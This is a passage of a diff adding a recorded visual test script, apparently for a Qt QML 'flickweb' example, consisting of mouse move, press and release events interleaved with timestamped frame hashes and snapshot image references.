+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 85; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1824
+ hash: "b343a9ed7e9740ec1725837fad766745"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 85; y: 41
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 85; y: 44
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1840
+ hash: "b33260ad955474452f204ed5d468ef78"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 85; y: 51
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 86; y: 55
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1856
+ hash: "9a647c54e378bd0ee35ef4164892722c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 87; y: 61
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 88; y: 67
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 88; y: 67
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 89; y: 73
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1872
+ hash: "dc553d1a7b678dffea41147fc6b841f6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 89; y: 74
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 89; y: 78
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1888
+ hash: "2d61b4fb1e5a8beb6e3c3cb53c21db42"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 89; y: 79
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 89; y: 82
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1904
+ hash: "209faf0b20fd53d9a1c261c8cae9666f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 90; y: 82
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 91; y: 83
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1920
+ hash: "3497258aa07c76f0e31b5a492ee7e7cb"
+ }
+ Frame {
+ msec: 1936
+ image: "flickweb.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "64c677ac4fea0e525279e86bf831d5d3"
+ }
+ Frame {
+ msec: 1968
+ hash: "76c6c887fea94288e9fd975655e5181c"
+ }
+ Frame {
+ msec: 1984
+ hash: "71b85e596c88b84a851a52aa3389e63a"
+ }
+ Frame {
+ msec: 2000
+ hash: "e4a562aa35aa532d15c9b129e22797bb"
+ }
+ Frame {
+ msec: 2016
+ hash: "148484dd95c88720cc5ef196334cb9a8"
+ }
+ Frame {
+ msec: 2032
+ hash: "924c6254ffa1707b69174f49e4e95213"
+ }
+ Frame {
+ msec: 2048
+ hash: "9e61907acedb27941d8be2befa364cfb"
+ }
+ Frame {
+ msec: 2064
+ hash: "9e61907acedb27941d8be2befa364cfb"
+ }
+ Frame {
+ msec: 2080
+ hash: "f2c4e99db1bb087a40b277ce8ce628f6"
+ }
+ Frame {
+ msec: 2096
+ hash: "f2c4e99db1bb087a40b277ce8ce628f6"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 91; y: 82
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2112
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 90; y: 82
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2128
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 89; y: 81
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 88; y: 80
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2144
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 87; y: 79
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 86; y: 77
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2160
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 86; y: 76
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 86; y: 75
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2176
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 85; y: 73
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 84; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2192
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 82; y: 68
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 81; y: 67
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2208
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 76; y: 61
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 75; y: 59
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2224
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 71; y: 54
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 70; y: 51
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2240
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 70; y: 50
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 70; y: 49
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2256
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 70; y: 47
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 69; y: 46
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2272
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 68; y: 45
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 67; y: 43
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2288
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 66; y: 43
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 65; y: 41
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2304
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 64; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 64; y: 39
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2320
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 63; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 63; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2336
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 63; y: 35
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 63; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2352
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 63; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2368
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 64; y: 32
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2384
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 65; y: 32
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 65; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2400
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 66; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 68; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2416
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 69; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 71; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2432
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 73; y: 27
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 73; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2448
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 74; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 74; y: 22
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2464
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 74; y: 21
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 74; y: 20
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2480
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 74; y: 18
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 74; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2496
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 74; y: 16
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 73; y: 15
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2512
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 73; y: 14
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2528
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Frame {
+ msec: 2544
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Frame {
+ msec: 2560
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 73; y: 14
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2576
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 73; y: 15
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 72; y: 17
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2592
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 72; y: 24
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 72; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2608
+ hash: "b2d6b68f1f7229e8e65bb37e4c418a1b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 72; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 71; y: 47
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2624
+ hash: "c4dd48fca556c2760c8f81db7fea6938"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 60
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 78
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2640
+ hash: "9dbad8cb2692807d67f74e7ac4a4a70e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 88
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 70; y: 96
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 70; y: 96
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2656
+ hash: "152648affe4045a81f0d6ff9150889f1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 70; y: 99
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 70; y: 102
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2672
+ hash: "152648affe4045a81f0d6ff9150889f1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 73; y: 103
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 74; y: 103
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2688
+ hash: "152648affe4045a81f0d6ff9150889f1"
+ }
+ Frame {
+ msec: 2704
+ hash: "152648affe4045a81f0d6ff9150889f1"
+ }
+ Frame {
+ msec: 2720
+ hash: "152648affe4045a81f0d6ff9150889f1"
+ }
+ Frame {
+ msec: 2736
+ hash: "152648affe4045a81f0d6ff9150889f1"
+ }
+ Frame {
+ msec: 2752
+ hash: "152648affe4045a81f0d6ff9150889f1"
+ }
+ Frame {
+ msec: 2768
+ hash: "c9eee2b7529b07a17151e7140444c099"
+ }
+ Frame {
+ msec: 2784
+ hash: "c9eee2b7529b07a17151e7140444c099"
+ }
+ Frame {
+ msec: 2800
+ hash: "c9eee2b7529b07a17151e7140444c099"
+ }
+ Frame {
+ msec: 2816
+ hash: "c9eee2b7529b07a17151e7140444c099"
+ }
+ Frame {
+ msec: 2832
+ hash: "c9eee2b7529b07a17151e7140444c099"
+ }
+ Frame {
+ msec: 2848
+ hash: "c9eee2b7529b07a17151e7140444c099"
+ }
+ Frame {
+ msec: 2864
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 2880
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 2896
+ image: "flickweb.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 2928
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 74; y: 102
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2944
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 74; y: 101
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 73; y: 98
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2960
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 69; y: 93
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 67; y: 91
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2976
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 62; y: 85
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 60; y: 83
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 2992
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 56; y: 77
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 55; y: 75
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3008
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 52; y: 70
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 49; y: 67
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3024
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 49; y: 65
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 48; y: 61
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3040
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 48; y: 60
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 46; y: 56
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3056
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 45; y: 54
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 42; y: 50
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3072
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 39; y: 47
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 38; y: 45
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3088
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 37; y: 44
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 36; y: 43
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3104
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 35; y: 41
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 35; y: 40
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3120
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 33; y: 39
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 33; y: 38
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3136
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 32; y: 37
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3152
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 32; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 31; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3168
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 31; y: 35
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3184
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 30; y: 35
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 30; y: 33
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3200
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 28; y: 32
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 28; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3216
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 26; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 26; y: 28
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3232
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 25; y: 27
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3248
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 25; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3264
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 3280
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 3296
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 3312
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 25; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3328
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 3344
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 3360
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Frame {
+ msec: 3376
+ hash: "d045839439e4091210c745f0ea173e52"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 25; y: 26
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3392
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 25; y: 27
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3408
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 26; y: 27
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 26; y: 28
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3424
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 27; y: 28
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 27; y: 29
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3440
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 3456
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 3472
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 3488
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Frame {
+ msec: 3504
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 27; y: 30
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3520
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 28; y: 31
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 29; y: 34
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3536
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 31; y: 36
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 37; y: 43
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3552
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 40; y: 48
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 50; y: 59
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3568
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 55; y: 64
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 65; y: 73
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3584
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 69; y: 77
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 75; y: 83
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3600
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 78; y: 85
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 80; y: 86
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3616
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 82; y: 88
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 83; y: 89
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3632
+ hash: "98990f624351f88347b2eb010bb5cd13"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
